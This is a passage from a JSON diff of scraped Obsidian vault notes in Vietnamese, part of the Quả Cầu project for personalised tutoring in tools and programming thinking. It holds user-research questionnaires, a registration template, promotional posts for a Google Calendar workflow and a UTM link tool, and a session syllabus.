quyền\n\t- [ ] Thấy ở đây người tổ chức thực sự quan tâm đến nhu cầu của mình\n- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\n- [ ] Không thấy việc phải tự định giá là nhức đầu\n- [ ] Thấy việc mình được quyền định giá thấp không có nghĩa là chất lượng kém\n- [ ] Nhắm được mức giá phù hợp\n- [ ] Thấy rằng AI hoặc nocode là không đủ và vẫn cần phải học lập trình\n- [ ] Hiểu được các buổi học được triển khai thế nào\n- [ ] Hiểu mình cần lên lộ trình học và kết quả đầu ra mong muốn\n## Điều gì khiến bạn thấy ấn tượng nhất? \n## Điều gì khiến bạn thấy thuyết phục nhất? \n## Điều gì khiến bạn thấy thiếu thuyết phục nhất? \n## Bạn đã bấm vào những link nào?\n### Vì sao những link đó thu hút hơn các link khác?\n## Bạn ngừng đọc ở đâu?\n### Vì sao bạn ngừng đọc?\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\n### Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\n\n[[Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình]]\n[[❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động]]\n[[Văn Đinh Phú]]\n\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Oc" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-31T05:02:00.000Z", + "id": "Oq" }, { - "Tiêu đề": "100 dự án cộng đồng thấy Obsidian giúp họ xây dựng cộng đồng mạnh", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Nhóm dự án dùng vault để quản lý công việc/100 dự án cộng đồng thấy Obsidian giúp họ xây dựng cộng đồng mạnh", + "Tiêu đề": "Mục tiêu và câu hỏi phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Trải nghiệm sau buổi học/Mục tiêu và câu hỏi phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao, [[Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm]], [[Việc phải nói chuyện nhu cầu của nhau là mệt mỏi]], [[Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn]], [[Người dùng sử dụng dễ dàng Obsidian]], [[Obsidian hữu ích để quản lý công việc]], [[Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất]]\r\nĐối tượng thụ hưởng:: [[Người muốn xây dựng cộng đồng hoặc mạng lưới]]\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[50 nhóm dự án cộng đồng tham gia các buổi học về Obsidian]]\r\n\r\n\r\nThành phẩm:: [[Bài viết về vấn đề về hệ sinh thái]], [[Các buổi giới thiệu vault]], [[Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng]]\r\n", + "Toàn bộ nội dung": "# Trải nghiệm của họ thế nào\n- Họ thấy có ưu điểm gì \n- Họ thấy có nhược điểm gì \n - Nhược điểm đó có phải là thứ họ quan tâm không?\n- Họ thấy có gì thú vị \n- Họ thấy có gì chưa hài lòng\n - Họ thấy điều đó có thể cải thiện gì?\n- Họ thấy mình đã đạt được mục tiêu của mình\n- Điểm thoả mãn\n\n# Họ học được gì ngoài những câu hỏi đó ra anh còn cảm thấy \nGiá trị nào khác của việc đáp ứng nhu cầu?\nkể cả việc mượn xe anh còn quy đổi sang đó là cái em muốn và anh không thực sự cần nữa, anh report cả cái đó như thế nào", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Od" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-24T18:49:00.000Z", + "id": "Or" }, { - "Tiêu đề": "50 nhóm dự án sử dụng Obsidian để quản lý công việc", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Nhóm dự án dùng vault để quản lý công việc/50 nhóm dự án sử dụng Obsidian để quản lý công việc", + "Tiêu đề": "Phiếu đăng ký tham gia CBĐỨNCHCSDCCVTDLT", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Phiếu đăng ký/Phiếu đăng ký tham gia CBĐỨNCHCSDCCVTDLT", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\nĐơn vị tính ở chủ ngữ:: nhóm dự án\r\nĐộng ngữ:: sử dụng Obsidian để quản lý công việc\r\n%%\r\nTrạng thái:: #tt/đang-làm, [[Nhật]]\r\nĐộ cấp thiết:: #đct/cao, [[Các dự án có lợi nhuận không quan tâm đến các nhu cầu khác của nhóm]]\r\n\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[100 dự án cộng đồng thấy Obsidian giúp họ xây dựng cộng đồng mạnh]]\r\n\r\nThành quả hỗ trợ:: [[100 nhóm dự án thấy vault ❝Tự học Obsidian❞ giúp họ trong việc học Obsidian và quản lý công việc]]\r\n\r\nChỉ số dự kiến thoả mãn:: 50\r\nChỉ số:: [[Quý II – 2023]], 10\r\n", + "Toàn bộ nội dung": "Dùng mẫu sau để đăng ký một buổi huấn luyện (coaching) tạo giải pháp cho vấn đề của bạn:\n```\n# [Tên vấn đề]\nVấn đề của tôi là... \n\nĐiều tôi đã thử là... \n\n[Đính kèm ảnh chụp màn hình] \n- **Thời gian tôi rảnh:** \n- **Mức độ gấp:** [tôi không có vấn đề gì khi phải chờ tới ngày có nhiều bạn khác cùng tham gia không?]\n- **Để Quả Cầu đáp ứng được nhu cầu của tôi, đây là những nhu cầu của Quả Cầu tôi muốn đáp ứng lại:**\n- **Lý do tôi muốn đáp ứng những nhu cầu này:**\n- **Cách thức tôi sẽ đáp ứng những nhu cầu này:** \n- **Lý do tôi thấy sự trao đổi này là tương xứng cho những gì mỗi bên nhận được:**\n- **Thời điểm tôi có thể bắt đầu làm:**\n- **Những khó khăn hoặc sự nhức đầu tôi chưa thấy được giải toả:**\n- **Những suy nghĩ khác:**\n```\n\nKhông tìm cách để đạt được cái mình thấy là sự tương xứng, mà tìm cách làm sao để họ thấy cần phải làm những gì để họ thoả mãn, và cái họ thấy là tương xứng với điều đó là như thế nào\n\n%%Thời gian sắp xếp cho buổi hướng dẫn đầu tiên\n\nLý do bạn muốn tham gia là gì? Mục đích học cách sử dụng công cụ của bạn?\n\nLộ trình hướng dẫn và kết quả đầu ra bạn mong muốn \n\nĐể đạt được kết quả thoả mãn bạn thì theo bạn cần đạt được những điều gì?\n\nNếu có thêm bạn cùng học thì bạn có thấy hứng thú không? Vì sao?\n\nTiêu chí cho sự trao đổi nhu cầu của bạn là gì? Vì sao bạn chọn tiêu chí đó?\nVD: tương xứng về sự thoả mãn, tương xứng về công sức bỏ ra, tương xứng về thời gian bỏ ra, tương xứng về kết quả nhận được\n\nKế hoạch trao đổi nhu cầu của bạn là gì? Khi nào thì bạn có thể bắt đầu kế hoạch đó\n\nBạn gặp những khó khăn nào trong việc trao đổi nhu cầu? \n\nBạn còn muốn nói điều gì không?\n\n\n\n\n\n\n\nTiêu chí cho sự tương xứng của bạn là gì?\nLàm thế nào để chúng ta có được một sự hợp tác mà bạn thấy là tương xứng và phù hợp với khả năng của cả hai bên? \nBạn muốn học một mình hay có thêm bạn cùng học? %%", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Oe" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-24T12:31:00.000Z", + "id": "Os" }, { - "Tiêu đề": "4 Các bên liên quan", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/4 Các bên liên quan", + "Tiêu đề": "Bàn làm việc Google Calendar", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Truyền thông/Bàn làm việc Google Calendar", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\ntable\n\tsplit(file.folder,\"/\")[4] as \"Cách phân loại\",\n\tniềm-tin-về-họ as \"Niềm tin về họ\" \nFrom \"📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/4 Các bên liên quan\" \nWhere file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "# Bàn làm việc Google Calendar\nBộ phận HR, marketing hoặc truyền thông nội bộ của công ty bạn muốn cập nhật các sự kiện trong năm để xây dựng nội dung nhưng việc cập nhật thủ công qua từng tháng, từng năm là một công việc mất nhiều thời gian? Việc nắm bắt xu hướng thông qua việc theo dõi các các sự kiện nổi bật trên các mạng xã hội như Facebook hay Tiktok rồi ghi chú thủ công trong Excel không đủ để bạn nhìn được số liệu dễ dàng và xem được sự kiện trong tuần hoặc trong tháng?\n\nVí dụ: bạn là HR muốn nắm lịch các sự kiện văn hoá trong tháng, hoặc là sinh viên cần cập nhật thời khoá biểu của trường. Bạn sẽ phải lên web của đơn vị tổ chức/nhà trường thường xuyên. Nếu có cách để bạn cào web về rồi cho vào lịch của bạn thì sẽ tiện hơn\n\nQuả Cầu mong muốn tìm gặp và giới thiệu cho bạn hướng đi khai phá khả năng quản lý thời gian thông qua một công cụ quen thuộc – Google Calendar, đó là là nâng cấp “cuốn lịch biểu” Google Calendar của bạn trở thành “bàn làm việc” Google Calendar.\n\n“Bàn làm việc” Google Calendar là một bàn làm việc sử dụng Google Calendar như mặt bàn để tổ chức và quản lý thông tin về thời gian biểu ở quy mô lớn hơn. Quy mô này thể hiện qua khả năng kết nối các thông tin về sự kiện hay thời gian ở nhiều nền tảng web khác nhau và mang nó về Google Calendar của bạn. Điều này tạo ra những lợi ích lớn như:\n\n- ***NHANH:*** Tự động hóa việc cập nhật sự kiện nhờ liên kết giữa các nguồn dữ liệu\n- ***GỌN:*** Mở rộng giao diện quen thuộc và quản lý dữ liệu trực quan \n\nVậy, nếu bạn có mong muốn hiện thực hoá điều này, Quả Cầu mời bạn vào link sau để biết thêm chi tiết: https://quacau.space/fgoi\n![[Bàn làm việc Google Calendar.png]]\n\n[[29-12]] [[Facebook page QC]]\n[[29-12]] [[HrShare]] \n[[29-12]] [[Launch]] \n[[29-12]] [[Profile QC]]\n[[31-12]] [[Cộng Đồng Agency Truyền Thông - Marketing Việt Nam]] \n[[31-12]] [[Sự kiện, HR]] \n\nKhái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-28T11:04:00.000Z", - "id": "Of" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-22T05:32:00.000Z", + "id": "Ot" }, { - "Tiêu đề": "Người đang dùng Google Drive", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo giải pháp đang sử dụng/Người đang dùng Google Drive", + "Tiêu đề": "Các buổi đáp ứng nhu cầu học lập trình", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Truyền thông/Các buổi đáp ứng nhu cầu học lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Người đang dùng Google Drive\n", + "Toàn bộ nội dung": "# Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc\nNếu bạn muốn:\n- Quản lý và xử lý được thông tin, dữ liệu, kiến thức của mình một cách hiệu quả\n- Không phải tốn tiền thuê cho những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn\n- Có những gợi ý tốt hơn trong việc pháp triển cá nhân và sự nghiệp, đem lại nhiều cơ hội, nhiều sự thú vị và ý nghĩa cho bạn hơn\n\nVà để đạt được điều này, bạn thấy mình cần:\n- Vượt qua được sự hoang mang khi không biết mình cần phải bắt đầu từ đâu\n- Không còn thấy ngộp bởi quá nhiều thuật ngữ khi tự tìm hiểu\n- Không còn thấy việc lập trình giống như làm phép thuật, là một thứ kỳ diệu mình không bao giờ hiểu được\n- Có được các hiểu biết sâu trong lĩnh vực lập trình. Đó không phải là sự thành thạo trong việc code (vì bạn không có ý định kiếm tiền, kiếm việc từ nó), mà chủ yếu ở cách người làm lập trình tư duy và cách các hệ thống vận hành\n\nThì các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc là dành cho bạn. Chúng là các những buổi tư vấn, hướng dẫn, đào tạo 1:1 cho cá nhân hoặc nhóm, với mong muốn **phổ cập kiến thức xây dựng, quản lý thông tin và xử lý dữ liệu cho các cá nhân hoặc nhóm có nhu cầu cá nhân hoá cao.** Sự cá nhân hoá này là quan trọng để bạn không cảm thấy mình đang lãng phí thời gian cho những thứ bạn thấy không quan trọng, để bạn vẫn có thể học được lập trình mà không phân tán sự tập trung của mình khỏi công việc quan trọng hơn. Tất cả các chi tiết như lộ trình học, nội dung, thời gian học, người hướng dẫn, người tham dự sẽ đều là sự thống nhất giữa hai bên.\n\nNhững thứ sẽ được chú trọng trong các buổi này:\n- **Những khái niệm thiết yếu trong việc xây dựng mental model, đặc biệt là:**\n• Những khái niệm cơ bản mà nếu không được giải thích thì không thể tự đoán ra được. Công việc ta cần làm đòi hỏi ta phải làm theo những hướng dẫn mặc định rằng ta đã hiểu được chúng rồi, và không cung cấp thêm lời giải thích hoặc xây dựng đủ bối cảnh để ta có thể đoán ý nghĩa của nó. Thường để hiểu được các khái niệm cơ bản này ta sẽ phải quay lại học bài bản, nhưng lúc đó việc học bài bản lại phân tán sự tập trung của ta khỏi công việc cần làm\n• Các so sánh, ẩn dụ tới một cái gì đó dễ hiểu, dễ liên tưởng hơn\n• Sự khác biệt, tương phản hoặc tăng tiến về cường độ của những thứ có vẻ na ná nhau hoặc mâu thuẫn nhau\n• Những thuật ngữ dùng không được chuẩn xác. Có những cách dùng từ mà với người đã hiểu rồi thì sự thiếu chính xác cũng không thành vấn đề, thậm chí còn tiện lợi, nhưng người mới học thì thấy loạn (các misnomer)\n• Ý đồ thiết kế (design rationale) để hiểu được điểm mạnh, điểm yếu của các giải pháp khác nhau cho cùng một vấn đề, và vì sao các tác giả của chúng chấp nhận những đánh đổi đó\n- **Các lỗi thường gặp mà việc tìm hiểu đòi hỏi phải có hiểu biết sâu về vấn đề (pitfall)**\n- **Những nguồn tốt dể học một cách bài bản**\n- **Những lĩnh vực, hướng tư duy ít được để ý**\n\nChúng là những thứ mà bạn ước rằng ngày xưa có ai nói với mình như vậy để mình hiểu ra nhanh. Chúng thể hiện được sự vận động, chuyển động của khái niệm.\n\n📷Hình: Một số nhu cầu công việc ví dụ và những kiến thức cần có để làm được chúng\n\n# Lộ trình\n\nVì đây là dự án phục vụ nhu cầu của bạn, nên số lượng buổi học, thời gian học, và hình thức học (trực tuyến hay trực tiếp) đều do bạn quyết định.\n\nNgười ai có khả năng và mong muốn hướng dẫn lại cho người khác sẽ trở thành người hướng dẫn. Người hướng dẫn chính hiện tại là Lý Minh Nhật (LinkedIn: https://www.linkedin.com/in/nh%E1%BA%ADt-l%C3%BD/).\n\nBọn mình cho rằng **bạn nên được quyền quyết định giá trị của buổi hướng dẫn**. Bọn mình khuyến khích bạn đề xuất giá trị của buổi hướng dẫn này với đa dạng hình thức chi trả/trao đổi nhu cầu (ví dụ: tiền hoặc các tác vụ hỗ trợ Quả Cầu theo thoả thuận). Để tham gia hãy điền vào phiếu đăng ký ở dưới. Sau khi xem xét các đăng ký, bọn mình sẽ lựa chọn để trao đổi và hợp tác với những nhu cầu phù hợp.\n\n# 👉 Phiếu đăng ký: tranky.deno.dev/học/cns\nhttps://www.facebook.com/quacau.sphere/posts/pfbid02iFL5QSkjx9ozKuxFGjEhco2n8cMcSEkQFvQ4RPQC1jmrk6kprigoBHeg3L7XgZYPl\n\n--- \n[[Kế hoạch tạo lợi nhuận]] \n[[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch/Kế hoạch|Kế hoạch tổ chức các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình]]\n\nMục tiêu: Mỗi ngày có 4 người đọc hơn 50% bài\n\n\n[[09-11]] [[Facebook page QC]], [[Discord QC]]\n[[16-11]] [[Profile QC]] \n[[06-02]] [[Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ]]\n[[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n[[Giả thiết về đối tượng cần học cách lập trình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-28T11:00:00.000Z", - "id": "Og" + "Ngày tạo": "2023-07-26T08:55:00.000Z", + "Ngày cập nhật": "2024-02-29T12:19:00.000Z", + "id": "Ou" }, { - "Tiêu đề": "Người đang dùng Notion cho QLDA", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo giải pháp đang sử dụng/Người đang dùng Notion cho QLDA", + "Tiêu đề": "Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Truyền thông/Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Niềm tin về họ:: Họ thấy Notion lag và không tự do gắn \nĐiều không chắc:: Nhu cầu của họ không cần tới Obsidian\n", + "Toàn bộ nội dung": "# Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng) \n## Liên kết UTM là gì?\nĐể có thể đo lường hiệu quả các chiến dịch truyền thông trực tuyến trên Google Analytics, các tham số UTM sẽ được thêm vào đằng sau liên kết. Ví dụ, nếu bạn đăng liên kết `tranky.deno. dev` lên nhóm *Tools MMO* và ở cả ở ngoài nhóm, thì Google Analytics sẽ không biết được có bao nhiêu người trong nhóm bấm vào và bao nhiêu người ngoài nhóm bấm vào. Nhưng nếu bạn thêm tham số UTM vào sau liên kết, ví dụ `tranky.deno. dev/?source=Tools MMO`, và chỉ đăng lên nhóm mỗi liên kết này, thì bạn sẽ biết được đã có bao nhiêu người từ nhóm bấm vào.\n\nCó nhiều loại tham số UTM, như `source`, `medium`, `campaign`, v.v. Mỗi tham số có những giá trị riêng phải điền, nhưng nhiều lúc chỉ cần biết một cái thì sẽ suy ra được cái còn lại. Ví dụ, đăng một bài trong chiến dịch A thì `campaign` chắc chắn là A, nơi đăng là một trang Facebook thì `source` chắc chắn chứa tên trang đó, và `medium` chắc chắn là `social`, v.v.\n\n## Vấn đề\nCó những công cụ để giúp xây những liên kết UTM như vậy (gọi là UTM builder), nhưng chúng không tự động điền những giá trị có thể tự suy đoán được. Nếu dự án của bạn có nhiều bài viết khác nhau dành cho nhiều loại đối tượng khác nhau, việc phải làm thủ công từng liên kết như vậy sẽ tốn nhiều thời gian, nhàm chán và có thể làm đau tay. Chưa kể nếu có nhiều người cùng đăng bài thì cũng có thể tạo ra sự không nhất quán. \n\n## Giải pháp\nNếu tất cả những gì bạn cần chỉ là tên bài viết và nơi đăng là đủ để tạo được liên kết đầy đủ thì Trấn Kỳ sẽ tự động hoá được vấn đề này. Nó là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên, và mình đã viết thêm chức năng để nó làm được công việc này. Ví dụ:\n- `trấn kỳ Tools MMO` → Tạo `tranky.deno. dev/?source=Tools MMO&medium=social&campaign=Trấn Kỳ`\n- `tk tmmo` → Tạo liên kết tương tự như trên, nhưng chỉ dùng mã sản phẩm và tên viết tắt\n\nCác chức năng mở rộng khác:\n- Tự động cập nhật các bài viết mới trên web của bạn với plugin trên trình duyệt \n- Tự động lấy trang web bạn đang mở để làm `source` \n- Tự động xử lý punycode (cho phần tên miền) và percent-encode (cho phần URI) \n- Tự động tạo liên kết rút gọn và tạo chuyển hướng trên máy chủ\n- Tự động chép liên kết vào clipboard\n\nĐiều này sẽ giúp bạn lấy được liên kết có tham số UTM cần thiết ngay tại nơi bạn đang tương tác một cách tức thời mà không bị ngắt mạch suy nghĩ (\"tại đây, bây giờ\").\n\n👉 Lấy mã nguồn: https://tranky.deno.dev/tichhop/tmmo\n\nhttps://www.facebook.com/quacau.sphere/posts/pfbid028r4PfZ2SiamuaSVT5CMMzgfjQfkVLnjkTrNU7dfLNoWiNNW1o1ceBV8bv1DS5gH2l\n![](https://i.imgur.com/Mj8gI5r.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-28T11:00:00.000Z", - "id": "Oh" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-26T07:02:00.000Z", + "id": "Ov" }, { - "Tiêu đề": "Người muốn hỗ trợ người khác xây vault", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/Người muốn hỗ trợ người khác xây vault", + "Tiêu đề": "Buổi hướng dẫn và thảo luận", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Buổi hướng dẫn và thảo luận", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Người đang dùng Google Drive\n", + "Toàn bộ nội dung": "Thiếu nguồn lực để có nhân sự chuyên môn về thiết kế, kỹ thuật, thuyết trình, đo lường, truyền thông, quản lý kiến thức, hợp tác và bạn phải tự làm bằng tay\nĐặc biệt là các dự án cần một lượng nghiên cứu nhất định\n1. Giới thiệu về chương trình ghi chú Obsidian và ứng dụng của nó trong quản lý dữ liệu dự án\n2. Thực hành sử dụng nó cho tổ chức của bạn, cùng với các mẫu được dựng sẵn để giảm tải\n3. Lợi ích của việc lưu dữ liệu tại máy và ở định dạng đơn giản trong việc lưu trữ thông tin tổ chức. Vấn đề của các dịch vụ trên đám mây. Quyền tự trị dữ liệu và phá vỡ các silo thông tin, phân mảnh thông tin\n4. Du hành thời gian bằng Git. Chạm tay vào thế giới phép thuật lập trình bằng terminal\n5. Tạo website tự động cập nhật, không cần đăng bài thủ công. Sử dụng công cụ đo lường lưu lượng truy cập\n6. Xây dựng một mạng lưới hợp tác ngay từ những người tham gia\n\nDự kiến sẽ chia thành 2 buổi. Số buổi có thể thay đổi để đảm bảo sự hài lòng của những người tham gia\n\n- Thời gian tham dự được\n- Khúc mắc của bạn\n- \n\n\n### Giới thiệu về chương trình ghi chú Obsidian và ứng dụng của nó trong quản lý dữ liệu dự án\n### Thực hành sử dụng nó cho tổ chức của bạn, cùng với các mẫu được dựng sẵn để giảm tải\nSWOT, triết lý tổ chức, mâu thuẫn, phân tích các bên liên quan\n### Lợi ích của việc lưu dữ liệu tại máy và ở định dạng đơn giản trong việc lưu trữ và chia sẻ thông tin trong tổ chức. Vấn đề của các dịch vụ trên đám mây trong việc tuỳ chỉnh và phá vỡ các silo thông tin. Quyền tự trị dữ liệu \nĐập dữ liệu đi xây lại\n\n### Du hành thời gian bằng Git. Chạm tay vào thế giới phép thuật lập trình bằng terminal\n### Tạo website tự động cập nhật, không cần đăng bài thủ công. \n### Đo lường độ hiệu quả của web\n### Xây dựng một mạng lưới hợp tác ngay từ những người tham gia\nThe right tool for the right company (at the right time)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-28T11:00:00.000Z", - "id": "Oi" + "Ngày tạo": "2024-08-21T08:49:00.000Z", + "Ngày cập nhật": "2024-08-22T09:35:00.000Z", + "id": "Ow" }, { - "Tiêu đề": "Người tham gia kênh Obsidian tiếng Việt", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/Người tham gia kênh Obsidian tiếng Việt", + "Tiêu đề": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Người tham gia kênh Obsidian tiếng Việt\r\n", + "Toàn bộ nội dung": "Nếu bạn muốn:\n- Quản lý và xử lý được thông tin, dữ liệu, kiến thức của mình một cách hiệu quả\n- Không phải tốn tiền thuê cho những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn. Không muốn bị phụ thuộc vào người khác\n- Có những gợi ý tốt hơn trong việc pháp triển cá nhân và sự nghiệp, đem lại nhiều cơ hội, nhiều sự thú vị và ý nghĩa cho bạn hơn\n\nVà để đạt được điều này, bạn thấy mình cần:\n- Vượt qua được sự hoang mang khi không biết mình cần phải bắt đầu từ đâu\n- Không còn thấy ngộp bởi quá nhiều thuật ngữ khi tự tìm hiểu\n- Không còn thấy việc lập trình giống như làm phép thuật, là một thứ kỳ diệu mình không bao giờ hiểu được\n- Hiểu cách lập trình viên tư duy và cách các hệ thống vận hành hơn là viết code thành thạo (vì bạn chỉ muốn làm xong việc của bạn chứ không có ý định kiếm tiền, kiếm việc từ nó)\n\nThì các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc là dành cho bạn. Chúng là các những buổi tư vấn, hướng dẫn, đào tạo 1:1 cho cá nhân hoặc nhóm, với mong muốn **phổ cập kiến thức xây dựng, quản lý thông tin và xử lý dữ liệu cho các cá nhân hoặc nhóm có nhu cầu cá nhân hoá cao.** Sự cá nhân hoá này là quan trọng để bạn không cảm thấy mình đang lãng phí thời gian cho những thứ bạn thấy không quan trọng, để bảo vệ sự tập trung của bạn vào công việc quan trọng hơn.\n\n> [!IMPORTANT] Những thứ sẽ được chú trọng trong các buổi này\n> - 